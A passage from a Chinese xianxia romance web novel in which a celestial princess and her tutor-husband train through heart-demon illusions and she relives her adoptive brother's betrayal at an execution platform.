扶胥侧身绕开九昭,朝暂居之处走去。 九昭再次牛皮糖似地缠了上来,理直气壮仰着脸:“你是本殿王夫,本殿还使唤不得你?” 扶胥脚步一停。 趁着扶胥出神的间隙,九昭赶忙抓住他的衣袖,将人给拉了回去。 月朗星盛,夜景静谧,她干脆寻着寝殿正对的台阶坐下,又左右摇晃扶胥袖口示意一起。 “殿下,这不合规——” 被猛然使力的九昭一把拉倒,扶胥只好把嘴闭上。 他默默坐在九昭身边,而寝殿两旁侍候的女婢们也识趣退下,将良夜留给这对璧人。 揭开茶盖,熟悉的沁香钻入鼻尖。 九昭放松扶胥,双手捧住茶盏小小啜饮一口。 牛乳醇厚的滋味混合百花蜜的馥郁清甜,的确消弭了清神茶大半令人难以忍受的苦味。 然而回味的淡淡涩感,又为九昭的心绪披上一层往事的轻纱。 她很慢很慢地喝着,喝掉半盏,喝到火热的血液被茶效侵染,透出几分凉意。 九昭突然觉得满肚子的话无人可说好没意思。 她抬起眼睛,从四方庭院望出去,望向广阔无垠的夜空:“……本殿是不是很没出息?” “殿下何出此言?” 扶胥微微侧首。 他投来的目光分寸正好,不至于如有实质叫九昭难受。 九昭便就着这个谁也不看的姿势继续慢吞吞地说:“别人进入幻境,所要经历的心魔大多涉及苍生大义,唯有本殿被小情小爱困扰——最可笑的是,将本殿困住的那人还弃我如敝履。” 话匣子打开,无论身旁之人想不想听,九昭都有点控制不住自己。 “或许过去的本殿确实很可恶吧,想当然地以为彼此是家人,一些小事他不至于放在心上。 “……算了,本殿给自己开脱什么,从小到大,我就是那个最恶劣的人。 “可他就算讨厌我,不想与我成亲,大不了说出来,本殿又不至于死缠烂打——他背叛三清天是为了什么,难道父神的养育之恩,同窗的共度之谊,他都半点不在意吗?” 九昭的话充满迷惘,像是被难题困扰的孩童,在向师长寻求答案。 可内心深处,她却明白,答案不该向身边人寻求,真正该问的人也永远不会再给她答案。 往事就是往事。 再耿耿于怀也不过是往事。 记忆是没有温度,也没有重量的,除了时常化为尖针刺痛灵魂,再无任何作用。 倾诉完久久不见扶胥开口,九昭忍不住自嘲一笑:说到底,她跟扶胥真的有那么熟吗,除开那一千年他奉父神旨意为自己治疗,其他时候,他避之不及的态度难道还不足以说明内心喜恶? “算了。” 将喝完的茶盏盖上放进旁边食盒里,九昭移开视线,佯装洒脱拍了拍裙摆,“本殿也真是无聊透了,居然拽着你在这里说个不停——刚才的话你就忘了吧,本殿也要回去休息了。” “殿下。” 这次拉住衣袖的手换成了扶胥的。 他神容肯肃,仿佛在脑海酝酿了很久,到这一刻才确定真正的心意,“我知晓你有自己坚持的公平正义,倘若兰祁早几千年把话摊开,希望改正就说希望改正,不能接受就说不能接受,你固然会觉得丢脸,但心中将他视作家人,绝不会借机刁难。” 九昭一怔。 扶胥用蹭过九昭眼尾的手指,再度捻去她唇畔的奶渍。 他轻描淡写地为这桩爱恨盖棺定论,“能够真诚表达内心的人都是可贵的,除开性格处事的缺点,在爱这件事上,你没有错,只是遇人不淑而已。” 这样的扶胥太过陌生。 某种东西随着他说话的语气、他看过来的眼神飘散开来,潜藏在空气里,将九昭紧紧包围。 她感觉到被清神茶压制的体温倏忽攀升了几度:“原来、原来你也会说软话……” 不复伶牙俐齿,九昭结结巴巴,像是刚从窝里跳出来准备学习走路的小鸟—— 笨拙、蓬松、又毛茸茸。 爱意和怜惜无声在扶胥的心口弥漫,一瞬间他很想化作枝叶繁茂的大树,为九昭遮风挡雨,免她从今以后的烦恼。又恨不能变成强劲的翅膀,带领九昭遨游四方,在风雨中穿梭高歌。 他的语调越发柔和:“帝座爱殿下如珠似宝,周围人也因着神姬的身份对殿下言听计从,臣并非热衷于对殿下横眉冷对,只是想要尽劝导之责,以便殿下未来之路走得平畅顺遂。” 扶胥的话不似那些常年在九昭身边奉承的人,辞藻华美,极尽阿谀。 但娓娓道来,却透着发自内心的真挚。 九昭眉心轻跳,似有触动,又别扭地噘起嘴:“……你又开始了。” 扶胥自失一笑:“殿下见谅。倘若殿下实在不喜,今后臣愿意改正。” 心脏砰砰跳着,软成一团。 扶胥从来不会逃避失败,此时此刻,他也甘愿对九昭认输。 想了想,他索性坦诚道明今晚的另一层来意,“其实臣来见殿下,不只是为了送一盏清神茶。今日在修行室内对殿下说的话,是臣不好,臣向殿下道歉。” 他们之间,似乎又回到了九昭受伤,扶胥为她治疗的那一千年。 纵使磕磕碰碰,时常会发生争吵和九昭恼羞成怒的单方面追打,但从无怨怼和隔阂。 “兰祁已是前尘往事,臣希望能够常伴殿下左右,帮助殿下浴火重生,脱离心魔。” 扶胥的声音轻而坚定。 漫天的星辰里,九昭看见他允诺无悔的眼睛。 …… 她突然有些释然地笑出声来,一改年少遭遇爱情时的慌张无措,凑过去吻上扶胥的唇。 “怎么办,本殿好像突然原谅你了。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 22-30 22| 第22章 ◎“是‘九昭九昭我爱你’哦。”◎ 当晚, 九昭睡得很好。 彻夜无梦,神识四周只萦绕着清神茶的浅浅余香。 翌日,果然如扶胥所说, 她在心魔幻境中受到冲荡的神魂已经恢复如初。 彼此心结稍解, 再去修行室上课,九昭也少了诸多抗拒。 “早啊!谢谢你的清神茶,本殿昨夜难得睡了个好觉!” 过来之前,九昭特地唤来绛玉和缃璧替自己细心打扮一番。桃瓣式样的婀娜花钿点缀在她眼角, 那抹艳色活了过来。仿佛多注视一刻,便会透过目光的相对一路开进心底。 扶胥却是一眼都没看。 他简言应了声早,叫九昭在学案后坐下, 在九昭的眼风飘过来时迅速垂下眼睫,整理起长案的器具:“殿下,第二轮幻境不忙进入,我们先来分析下昨日的情况。” 高阶仙考不同以往, 更注重身心的锤炼实战, 因而也没那么多理论方面的书籍。 长案上的教学器具寥寥无几, 扶胥徒手摆弄两下,便失去了继续的目标。 九昭瞧着他赧然的姿态颇为好笑。 不敢对视, 更不敢看自己, 用脚指头思考,都知道是为了昨天晚上的吻。 九昭回味着气息交融的温暖, 抬指摁了摁嘴唇。 玫瑰红口脂被蹭下些许, 在指腹晕开。 细腻的、轻盈的——浅淡的薄绯, 无限接近于昨日映在扶胥皮肤上的颜色。 对于这个全程由自己主导的亲吻, 九昭不是不感到害羞。 不过做了就是做了, 她从不后悔人生做出的任何决定。 怀着几分期待、几分欢喜, 她起身离开学案,踮脚放轻足音,如同一阵春风拂到扶胥身边。 意识到彼此的距离突破君臣限制时,扶胥再做任何措施已经来不及了。 臂膀挨上暖热体温,馥郁玫瑰香气随之沁入鼻腔—— 九昭不喜欢气味重的东西,很少如同寻常女仙一般往身上涂抹鲜花香油。 体温加上少有的香气,瞬间打乱扶胥好不容易专注的心神。 “殿下,您——” “哎呀,坐哪里都可以吧?只要能听清楚夫子您的教导不就行了?” 九昭截断话,又故意往扶胥怀里凑了凑,她口中不唤扶胥的大名,反而用甜腻腻的嗓音尊称夫子,一种有悖道德的刺激感顺着脊骨覆上扶胥的后颈。 “……您的做法不合礼数。” 他极力匡定心神,低声将未说完的劝诫之言出口。 “五百条天规里,有哪一条写明了,妻子不能挨着丈夫坐?” 九昭笑嘻嘻反驳他,将长案上的器具逐个拿起来查看。 晨光的倾洒间,细长如玉的手指几近透明,她摆弄着器具,又仿佛正在摆弄扶胥的心。 扶胥没再说下去。 人情之事,没有一板一眼的法度可言,九昭要争辩,总有一百条歪理。 同样的,他更怕继续纠正下去……九昭会听到自己跳动速度加快的脉搏。 一人正襟危坐,一人没个正形。 一高一低的身影相伴在长案后,心也突破了皮肉的阻隔,无限贴近。 退让出半个位置,扶胥从一旁的木质方盒里取出织梦蛛留下的网。他向天一甩,保存完好的蛛网重新黏附在空气中,几阵灵光变幻,心魔幻境里的场景,再度出现在两人眼前。 照顾九昭的心情,扶胥没有让画面播放到结尾。 他将其定格在两人飞奔在学宫长道的背影上,同九昭说道:“想要通过验心考核,有两个关键点。第一,尽量学着放下执念,执念的影响力变轻,幻境的沉浸感也会减弱。 “第二,幻境皆是在现实基础上产生的,它虽可以暂时扭曲当下,却不能篡改过去,比方说这层幻境发生在殿下和兰祁于学宫读书之时,殿下的脑海依旧会存有之前的记忆——想要破局的关键,就是找到眼下的景物人事,与记忆中的有何不同,这点不同便是心魔幻境的薄弱处。” 作为演示,扶胥催动蛛网,往后播放片刻,找到一处拥有兰祁正脸且放大的画面再次停止,随即询问,“殿下可感觉到心魔幻境里的兰祁有任何异样?” 进入课业,九昭听得仔细。 她的注意力也得以从被幻象所杀的痛苦窘迫,而转为对于事件本身的思考。 只是纠缠万年的感情不是说放下就能立刻放下的,她内心抗拒操纵蛛网重放画面,便试图凭借幻境里的记忆,去捕捉幻象兰祁的行为举止间,有哪些突兀点。 经过昨夜的谈心,扶胥明白九昭面对兰祁不仅仅只有恨意。 他不想重复九昭的伤心事,便放任了九昭拒绝借助蛛网探究幻象弱点的任性。 略作思忖,他又以九昭身上的花香打比方:“幻境莫测,心魔狡猾,弱点往往藏在最容易被人忽视的细节里。譬如殿下身上以往没有的玫瑰香气,放在幻境,便是一处不易察觉的不同。” ……原来他也不是一根古板迟钝的木头。 对蕴在自己口脂里的玫瑰香气也会这样在意。 九昭咬着唇心,佯装思考,却难以控制微微上挑的唇角。 不行。 现在可不是想这些的时候。 她掐了下自己的大腿,强行驱逐这些乱七八糟的情绪,将幻境的遭遇从头到尾回忆一遍,有些沮丧地摇了摇头:“没想出来什么不同,大概是在学宫上课的时间太久远了……一万多年前的兰祁,除了那副偏要装老成的少年样子,许多其他的细节习惯,我竟不记得了……” 有心做出一番成绩,岂料出师不利。 九昭又去捕捉扶胥的视线,目光眨巴眨巴变成可怜的狗狗眼:“夫子,学生是不是很笨?” 她俯下身体,整个人几乎趴在扶胥的膝盖上,迫使青年低垂的眸光映进自己的漂亮面容。 心跳险些又要错漏一拍。 顾不得上神的气度风仪,扶胥急急偏转面孔:“……殿下不必放在心上,天仙考核本就万中取一,再加上心魔幻境是幻术中最难的一种,殿下初次经历,能够表现成这样已然不错了。” 身为三清天典范,九昭何曾见过扶胥如眼下这般狼狈,她觉得很有意思,恶作剧之心骤起,追问的声音越发透着失落:“夫子说这些话,是真心的吗?还是只为了哄哄学生。” “当然是真心,昨天臣已对殿下许诺过,不会再——” 关心则乱。 担忧向来心高气傲的九昭被打击到,扶胥克制着赧然,重新将头转了回去。 一根突如其来的手指虚虚抵住他的双唇,接下来的话自动消音。 她的脸上哪有沮丧颓靡,分明是得逞欢喜。 扶胥立刻发觉自己中了计。 并不给予对方指责自身的机会,九昭曲起手指,有一下没一下磨蹭青年凸起的唇珠:“不会再什么?刚才那么长一段时间,你为什么不敢看本殿?” “……臣没有不敢看殿下。” 承受着九昭过分的狎玩,扶胥故作镇定的眸光下,是轰的一声沸腾起来的血液。 他难得嘴硬。 而九昭从来不是得饶人处且饶人的个性。 她的面孔在扶胥眼前数倍放大,拨弄薄唇的手环上他的后颈:“是因为昨天的吻,对吗?” “啧啧,夫子害羞起来的模样,果然比平日可爱许多。” “……青天白日,殿下要注意言辞的分寸。” 扶胥已经不想再细究自己的一举一动有没有出卖内心,负隅顽抗的言语成了他最后的体面。 鼻息交绕鼻息,彼此的双唇近在咫尺。 扶胥沉着不复的劝阻出口,九昭直直将额头抵了上去。 以为亲吻又要发生,青年下意识闭上眼睛。 然而额心的位置被另一温度的肌肤触碰,九昭迟迟没有下文。 心正七上八下之际,炽热的仙力倏忽在他的额头上浮。 伴随着一股桎梏之力的脱离,他被封印的力量自灵台喷涌而出。 “夫子是在等学生吻你吗?” 反问语调伴混合含糊的笑意。 扶胥缓缓睁开双眼,看见熟悉的符纸被九昭夹在指尖—— 随风上下抖颤的姿态,像极了他大起大落的心绪。 扶胥不好承认是,也不能承认不是,他暗里唾弃着自己经不起撩拨的定力。 总之再执拗于这个话题,便会继续被九昭牵着鼻子走。 他用几乎称得上落荒而逃的姿态转移话题:“……如今臣既负责殿下的考前课程,再被封印力量、多有不便,可否烦请殿下将符咒就此解除?” 扶胥丝毫不曾察觉自己也变成了昨夜的九昭。 从突兀停顿的话音,到红晕顿生的下睑,他已把脑海的激烈交战呈现于面。 九昭按住又要翘起的唇角,神容无辜:“学生早就同夫子说过了,解咒的关键在你,不在我——只要你心甘情愿说出那句话,这束缚力量的符咒随时可解。” 扶胥的嘴唇张了又合,陷入沉默。 九昭拖长语调,作恍然大悟:“噢——学生知晓了,夫子是不是忘了解咒口诀是什么?” 她凑过去,重复那句叫扶胥气血上涌的话: “是‘九昭九昭我爱你’哦。” …… “臣突然觉得封存神力,静待积蓄复原也挺好。” 扶胥憋了半天,憋出来的回答叫九昭忍俊不禁。 无法招架,他索性不再给予九昭调戏自己的机会,信手抹开储物戒封印,四盆生机勃勃的摄念花并排在属于九昭的学案上显形,“留给殿下的时间不多,我等还是继续专注修行。” 这才第二日,摄念花已经变到四盆之多。 忆及自身连一盆创造的心魔幻境都难以突破,九昭有些咋舌:“……这么快就上难度?” 扶胥还是那套一板一眼的说辞:“仙试将近,任务紧迫,且臣会在旁护法,请殿下放心。” 开启一条缝隙的蚌壳再度紧紧闭上。 九昭看着青年耳颊通红地说出一本正经之语,便知他的承受能力已将近极限。 轻笑一声,她乖乖退回几丈开外的学生位上。 闭眼进入幻境前夕,无比真诚地道出一句:“好夫子,那学生的安危,就拜托你啦。” 23| 第23章 ◎“昭昭,我要你先下去等我。”◎ 长生台, 云间观刑处。 从长烨学宫顺利毕业后,九昭在常曦殿彻底躺平当起了咸鱼。 兰祁则与她相反。 年龄资历不够,他尚未被神帝正式安排职位, 偏偏是个闲不住的性子, 遂跟在各位上神天仙身后做起见习仙官。每处学习成百上千年,他便会换个差事,如今,正好在司罚上神手下当差。 今日, 不同三清天以往的平静。 司法奉旨而来,将在长生台对一双金仙仙侣施以刑诫,罪因为私藏罪神巫劭所著禁书。 神帝执掌天务万年, 鲜少颁告将人打下长生台的重罚,故而这次施刑,三清天地仙以上位阶的大小神仙都到临了——唯有亲眼见证刑罚的触目惊心,才能起到警醒遵守的意义。 行刑时辰未到, 九昭坐在渺渺云中, 不耐烦地打了个哈欠。 她原本是可以不来的。 施罚观刑的天令并不约束常年忙碌的上神和神王, 自然对她这位储君也不起作用。 可兰祁在晨起上职前给她留了字条,说自己今日会辅助司罚上神行刑。 她便还是来了。 既然兰祁专程“言辞恳切”地提起这件事, 她怎么也得赏他个面子不是? 九昭用手撑着下巴, 颇为傲娇地给出“不得不来”参加观刑的理由,转头示意跟在旁边的女婢往自己嘴里喂个葡萄。没嚼两下, 察觉到其他神仙们齐齐投来的隐晦目光。 习惯了走到哪里都是焦点, 九昭不以为意。 她无所谓地连连吃了几颗, 将果皮果核囫囵吐到另一个空盘内。待要再等投喂, 绛玉突然收起两样东西, 竖起根手指点了点远处的天空:“殿下, 刑罚要开始了。” 日光不复,正对长生台的穹宇迅速积累起一片阴云。 噼里啪啦的电光穿梭在云中,时而响起隆隆闷雷声。 打下长生台的刑罚之所以可怕,不仅仅在于坠落的过程里,罪仙的灵骨会被至烈至汹的罡风刮碎剔除,更在于做最后的处罚前,罪仙还要捱过一定数量的九天雷霆之刑。 力量不足的罪仙,往往会电光雷声间灰飞烟灭。 两位金仙矜矜业业万年,神帝到底饶了他们一命,只是贬为凡人,不必挫骨扬灰。 四条精铁制成的锁链,将罪仙分别吊起。 他们面前,司罚上神嶷山悬浮半空,长眉深深压覆凝肃双眼。 光阴渐逝,午时即至。 随着他一个手势起落,后方默立的兰祁从仙官捧着的托盘里取走引雷针,奉到他手边。 深褐色神光融入针身,催动力量运转。 引雷针不断变长变粗,直至恢复原状,再由嶷山指引,飞往行刑架的顶端。 一切准备就绪,他喝声令下:“行刑!” 轰隆! 游走在云端的雷电终于找到目标,化作能够裂开天地的巨刃,咆哮着劈了下来。 第一道。 第二道。 第十道。 第二十道。 整整三十三道天雷,劈开金仙刀枪不入的肌肤屏障,焦蚀血肉,露出泛着华光的寸寸白骨。 起初他们尚能咬牙忍耐,后来随着女仙的痛呼出声,男仙鲜血淋漓的面孔潸然淌下泪来。 他仰头直面雷霆,大吼着要劈就劈他一人,放过他的妻子。 可惜天道无情,任凭男仙怎样恳求斥骂都无济于事。 行刑完毕,精铁锁链下方。 两具奄奄一息的躯体滑落下来,匍匐在地。 将他们踢下长生台前,嶷山代替神帝诘问:“私藏禁书,同情逆神,你们可知罪?” “若非神后、不遵凤凰族令,嫁予帝座为妻……战神巫劭又怎会、受辱悲愤,公然叛天?” “我等无罪可知,无错——可悔!!” 最后四个字出口,那所剩无几的生命力仿佛重新回到了两位罪仙身上。 他们不知哪来的力气,一面凄厉大笑,一面十指紧扣爬到长生台边,而后一头栽下。 猛烈的罡风瞬间吞没两道身影。 见此情形,嶷山寒声摇首:“冥顽不灵。” …… 行刑结束,观刑的神仙们陆续离开,唯余兰祁自请留下做些扫尾工作。 他坚持要待到最后,因他而来的九昭自然也不好早走。 她挥退女婢,于云端跃下,来到长生台前。 罡风未止,搅碎的金仙灵骨散成尘埃状颗粒,夹杂在浩荡的旋转气流中。 它们的仙灵不散,仍带有点点粼光,翻涌上来,在天地间造就如同群星倒流般的壮丽景象。 对于灵骨的处理,一般有两种选择。 若是寻常下凡历练,会有人专程收集碎骨将其复原,等到神仙回归再重新注入体内。 若是降罪惩罚,则等碎骨化作灵气,消散于天地之间。 兰祁要等着灵骨彻底粉碎,罡风气流下涌,再施术清理干净长生台才能离开。 暂且无事,他见九昭背手仰头,正目不转睛地望着某处,便问:“你在看什么?” “看罡风中的碎骨片啊。” 九昭毫无保留地分享所见所感,“你看它们像星星一样发着光,成千上万的,多好看。” 兰祁没想到九昭给出的答案会是好看。 雷罚无情,罡风血腥,每每目睹行刑过程的神仙总要默默良久。 偏九昭将它当个风景欣赏。 兰祁的语气温和一如既往:“昭昭不敬畏刑罚残酷吗?” 对方既有此问,九昭也就装模作样地回想一下,然后果断摇头:“兔死狐悲,物伤其类——本殿从来不与他们为伍,也绝对不会犯下同样的过错,又何须因他们的遭遇而感到心悸?” 话至末尾,她语调中的不屑昭然若揭。 昔日巫劭为三清天战神,而今朝受罚的两位罪仙皆是他军中将领。 后巫劭叛天,为着满腔忠心,又或是家人牵绊,他们不曾选择追随。 “要么起兵反抗轰轰烈烈地死,要么消除心思本本分分地活。他们决定效忠三清天,却又对巫劭念念不忘,如此左右摇摆,分不清楚自己的职责立场,才会招致今日的惨烈下场。” 自长烨学宫完成课业,九昭仍然恣意随心。 许多时候,观其跳脱的行为处事,兰祁总觉得她与幼时别无二致。 可这一刻,自她口中吐出的冷酷言语,又令他恍惚见识到了君王无情。 克制着胸口涌动的情绪,兰祁轻轻抚袖:“就算放不下巫劭,除了私藏禁书外,终究他们再无做过任何实质性的叛天行为……你不觉得,涉及巫劭之事帝座就施以严刑,有些太过了吗?” 这种大逆不道的话,九昭很难相信会从神帝的养子——神君兰祁嘴里说出来。 她睁大眼睛注视兰祁,像是在注视一个行为出格的陌生人。 无言片刻,心还是软了下来。 她将兰祁的异样归咎于第一次辅助行刑受了惊吓,便放缓态度,试图同他讲道理:“巫劭之罪罄竹难书,要不是他,荣升后族的凤凰一脉不会叛天堕魔,母神也不会遭受种种非议不得安宁——这样的人所著的书籍能有什么好?两位罪仙非要知法犯法,被打下长生台也是活该。 “更何况,父神也没有完全要了他们的命,只是剥除灵骨,贬为凡人而已。” “剥除灵骨,永世不得成仙……因执坚守千万年,一朝转瞬成空。” 兰祁喃喃自语。 他朝着罡风伸出手去,一块灵骨碎片正好落在掌心,“天道命定拥有凤凰真血的双生子必须结合,才能填补彼此力量的残缺。巫劭恋慕神后万年,神后转头嫁给旁人,叫他情何以堪?” 见兰祁没有认识到错误,反而执拗起禁忌的往事,九昭皱眉:“你认为这样的天道很公平吗?为什么只要拥有真血之力,两个人就必须无视道德,无视本心,无视一切意志捆绑在一起?我的母神爱上父神有什么错?是巫劭他执念太深,不懂强扭的瓜不甜这个道理而已。” “爱情是很重要,那么……责任呢?” 兰祁阖眸低叹,“神后背离天道,弃凤凰族不顾,一心追寻爱情,真血之力该如何传承?” “神族的生命何等漫长,难道安守本分,潜心寻找,就一定找不到第二个传承的办法吗?” 九昭迭声反问。 可她不是神后太婀,兰祁亦非战神巫劭。 彼此各执一词的假设只能是假设,湮灭在长河岁月里,终究得不到答案。 最后兰祁退了一步:“是啊,或许你的想法才是正确的吧。” “一边是深爱却无望的姐姐,一边是全族的怨怼和不解,若留在三清天,情意责任,总叫人左右为难……昭昭,你有没有想过,战神巫劭率族叛天,才是对于神后的最好成全?” 将碎骨紧握在掌心,兰祁扭头凝视九昭。 今日的他让九昭感觉很不一样,无论态度还是眼底的情绪,都让九昭由衷感到窒息。 她听见自己起先还算平和的嗓音逐渐透出尖锐:“兰祁!你知不知道你在说什么?巫劭是罪神,你怎可凭借无端推测来美化罪神的叛天之举——你也不要命了,想被打下长生台吗?!” 兰祁笑了笑,中断这个话题。 相较九昭的心绪沉重,他面上透出如释重负的轻松。 那种轻松,就好像掩藏万年的秘密,终于倾吐而出,不用再独自担负。 “是我的错,是我说得太多了,抱歉,昭昭。” 他抬步靠近罡风,在只差一点就要被裹挟进去的边缘站定。 俊面侧转,他再度看着九昭,待到九昭的视线有须臾惝恍,他才微微露出一抹笑容,“其实我最想问的是,倘若有一天,站上长生台的人是我,昭昭会不会也认为我死有余辜?” 仿佛有什么东西就要马上失去了。 九昭脱口而出道:“这种玩笑不好笑!” 她疾步靠近兰祁,双手将他的清瘦指节拢在掌中,她不懂得如何说合人意的软话,只好凭借本能将张牙舞爪的威胁宣泄于口:“你是我的养兄,是我与父神的家人——这世上我全然信任之人没几个,若是你背叛我,我定要你饱尝比打下长生台还要惨烈十倍的苦果!” 反客为主,兰祁将她抱进怀里:“好啊,只要是昭昭给的,无论什么我都甘之如饴。” 下颌支在少女白皙颈窝,兰祁垂眸望着两人浮起的衣摆被罡风一点一点吞没。 最后一次感知被温暖环绕的美好,他回手抓住九昭的双肩,将她向后轻轻一推,“可惜那一日终会到来,我心胸狭窄,没法学着巫劭那般成全祝福……昭昭,我要你先下去等我。” 24| 第24章 ◎“你的耳廓又红了,在想什么?”◎ “啊——!!!” 刚威胁完背叛的下场, 九昭就先一步品尝到了这种滋味。 她惊叫着,身体无法控制地后仰。 萦绕在长生台附近的罡风奇特,不论修为多高的神仙进去, 都会变成无法使用力量的凡人。 浑身仙力被封印, 九昭的双手胡乱抓扯着,凭借求生本能一把攥住兰祁的衣袖。 尖叫断在狂风呼啸中,她费力地张嘴呼吸,惊恐到发不出声音。 长生台内唯余她与兰祁, 难道她贵为神姬的一生,就要断送在此—— 长生、长生,当真成了一句谶语! 兰祁感知不到九昭内心的绝望, 他的目光缓缓扫过自己衣袖上那只抓住救命稻草一样,紧握到指节发白的手,转到定格在九昭的面上时,潋潋眼波透出一缕叫人毛骨悚然的柔情。 “昭昭, 你不要怕。” 他笑得温柔, 好听的声音仿佛在哄孩子, “罡风的痛很快就过去了,我不会留下你一人。” 语毕, 他并指为刃, 割断了九昭最后的求生希望。 “兰祁,不要——” 九昭攥着衣袖碎片, 跌入狂暴的罡风里。 如有实质的气流化作锋利刀片, 从四面八方割来, 九昭身上的华服很快荡然无存。 她没有捱过雷罚, 强悍的凤凰肌体尚能抵挡一二。 只是随着下坠越来越快, 罡风追逐着她, 进攻也像嗜血的鹫群般越来越激烈。 第一道血痕在她的眼睑下方出现。 鲜红血液散入风中,转瞬消失无痕。 攻击施加在身体表面,痛楚径直透过肌肤,深入骨髓灵魂。 九昭想要蜷起身体,但手脚被风暴撕扯,迫使她四肢大张,浑身上下都在经受痛觉的洗礼。 每一根骨头都好痛,它们张开了口,发出无声的哀嚎。 颤抖着,挤压着,就快要穿透肌理,刺出森森骨茬。 她快要承受不住了。 脑海却从无边的混沌里,透出一点灵光乍现的疑惑。 罡风的威力……什么时候这么不可思议了? 过去无论是降罪惩罚,还是下凡历练,神仙都要穿过长生台,罡风纵然有搅碎灵骨的悍然力量,但不可能直接要了没受过雷罚的神仙性命—— 思忖间,咔嚓一声,拉扯到极致的小臂断裂开来,剧痛再次蒙蔽九昭的理智。 不行,没办法再思考下去—— 她意识到自己快要活不了了,气流很快将涌出的热泪风干,化作黏腻盐分附着在湿红眼尾。 意识即将彻底消散,视野的尽头,九昭突然瞧见长生台再度跌下一道身影。 她以为是承诺殉情的兰祁。 努力睁大双眼,连绵不绝的泪水让整个世界模糊不清。 那道身影迅速下落到她的身侧,紧接着奇迹般地飘了过来,将她护入怀里。 有对方高大宽厚的臂膀作为屏障,大半罡风没再刮到她的身上。 九昭这才感觉到好受了些。 可她刚遭受过兰祁的背叛,怎么可能在这时接受他的小恩小惠? “滚、滚开…… “我就是死,也不愿同你一起……” 她用仅剩的左手推搡着对方的胸膛,耳畔却响起与兰祁截然不同的嗓音: “九昭,你且看看,我是谁。” …… 摄念花香气散尽。 急速下滑的灵识跌回现世。 九昭呻/吟/一声,扶着额头,借助学案作为支撑才没有彻底倒下去。 日光煦煦,惠风和畅。 眼前宁静安稳,那来的什么催命罡风。 这次到最后起码是活着的,比上回好了一些,九昭恢复的速度也相对应的快了许多。 视线吃力扫视周围,她冷不丁看到另一个趴伏在长案上,昏醒未知的身影。 身影的下半截衣摆旁,还凝着一小汪血迹。 “扶、扶胥?!” 九昭趔趄着奔了过去,扶起青年的上半身靠入自己怀里。 往日喜怒不形于色的眉峰紧紧蹙拢,扶胥半睁着眼,腹部流出的鲜血将他的玄袍濡湿。 “刚才幻境里最后的人是你对不对?” 这副呼吸微弱的模样着实叫人揪心,九昭急得语无伦次,连忙对准他的灵台输入仙力,“你怎么这么傻,反正摄念花的数量不多,本殿就算死了也影响不到现世,休息一晚总会好的——” “臣的伤,也没什么大碍。” 扶胥的话音断断续续,“殿下才从幻境出来,心、心神神未稳,不要这般妄动仙力。” 也不知道他这般死撑是为了什么,九昭勒令他闭嘴,愤愤道:“小心我再吻你一次!” 扶胥果然双唇紧闭,如临大敌。 随着精纯仙力的涌入,他如同金纸的面色缓缓恢复过来,伤口裂开的部位也不再出血。 他歪头靠在九昭肩膀,拢住九昭还要再释术的指尖:“殿下,别浪费仙力……臣不痛了。” “真的吗? “你替本殿承受了大半罡风刮骨割肉的疼痛,切记不要逞强。” 九昭了解他的个性,神容狐疑未消。 扶胥低声解释:“臣在战场出生入死多年,耐痛能力比神仙好上许多,殿下不必担心。” 九昭不掩面上疑虑,架着他的肩膀将他颠来倒去打量了许久,才逐渐平息涌动的仙力。 眨眼,她又想到另一件要紧事:“你腹部的伤口呢?怎么样了,让本殿看看。” 扶胥条件反射抓紧玄衣的腰带:“殿下,真、真的不用。” “你的耳廓又红了,在想什么?” 九昭轩了轩眉峰,意味深长,“平时竟看不出来,扶胥上神是这么个绮思满念的个性——” 一句玩笑,缓和了起先的焦虑气氛。 扶胥的长睫一抖,耳廓又红了几分:“……这等观察伤口的小事,臣自己来做就好。” “你来做,可本殿瞧你,似是虚弱得连腰都直不起来。” 九昭哪里容得他拒绝,两指使力,在扶胥敏感的后腰处狠捏一把。 扶胥立刻闷哼出声,紧绷的身体软倒,这下真的成了“大鸟依人”。 “你总希望本殿改变性格,本殿也有同感,你这副别扭性子,真的应该换换。” 伤情紧急,九昭不欲同他纠结。 打神鞭于扶胥视线死角骤现,顺应九昭的心思缩小成细细软绳,将扶胥的双手捆到身后。 又是这招! 扶胥的劲瘦腰肢半弓,眼下封印消解,他羞窘交织地挣扎起来。 九昭干脆召唤出符咒,啪地一声贴上他的额心。 “这下总该老实了。” 她被扶胥似瞪非瞪的眼神注视着,唇畔露出半个梨涡。 “……” 反抗无果,扶胥憋出一句:“……殿下好歹把修行室的门窗关上。” “从前下凡历劫归来的望瑾仙君给本殿带过几本民间话本,本殿时常读到‘黄花闺女’一词,还幻想过应当是如何情态——不料扶胥上神扮演起来竟这般惟妙惟肖。” 怕扶胥不够赧然致死,九昭挥手关闭门窗的同时,又笑着打趣一句。 她感受到对方投过来的杀人目光,三下五除二解掉腰带,将里头的中衣撩开。 昔日自伤的下腹部位仍缠着绢带,血迹染在黑衣看不出来,落在绢带上却是触目惊心。 情况远比自己想象的糟糕许多,九昭这才明白昔日医官劝诫扶胥不可动用神力是何意思。 “都这样了,你还拦着不让我看。” 九昭嗔他一眼,覆手在伤口周围增加一层阻隔疼痛的仙术,才开始手动剥除。 奈何担心他痛上加痛做出的好意,在触碰到腹部肌肤之际,倏忽变成一种微妙的折磨。 因凤凰真血的缘故,九昭体温天生比旁人高,她柔嫩的指腹摩挲着伤口周围的肌肤,时不时摁压两下,检查皮肉的新长情况——失去痛感,便只剩下了痒。 已经被盖章满脑子绮思,扶胥不想再做出更加失态的举动。 他被绑住的双手交握成拳,把生平经历的战场危机回想一遍,只求将注意力就此抽离。 “!” 边缘坚硬的指甲不慎抠到新生肌肤,沟壑分明的腹部肌肉顿时变得坚硬。 “啊,可是本殿弄痛你了?” 九昭不明所以,抬眼紧张地盯住扶胥。 “不、不疼。” 让自己抽神的第一种方法失败,扶胥只好另投他处。 他思忖一瞬,询问:“幻境中兰祁同殿下所说的话,真的发生过吗?” 九昭轻轻颔首,早就遗忘的记忆重拾,捎带出几分心虚:“……我没发现那个时候,他就有背叛三清天的心思,只以为他是被刑罚给吓到了,才会生出许多莫名其妙的感想。” 她的话遮遮掩掩。 归根究底,因恋爱脑在兰祁身上栽的跟头,实在有些丢人。 扶胥偏偏不留情面:“殿下重情重义,一向对自己人护短,这臣是知晓的。只是今后还请殿下记得,您是储君,是三清天未来的神帝,所作所为,都要以整个三清天的安危为先。” 被戳穿真相,一瞬间的羞恼和懊悔在心间发生,九昭脸色一沉,显出不悦征兆。 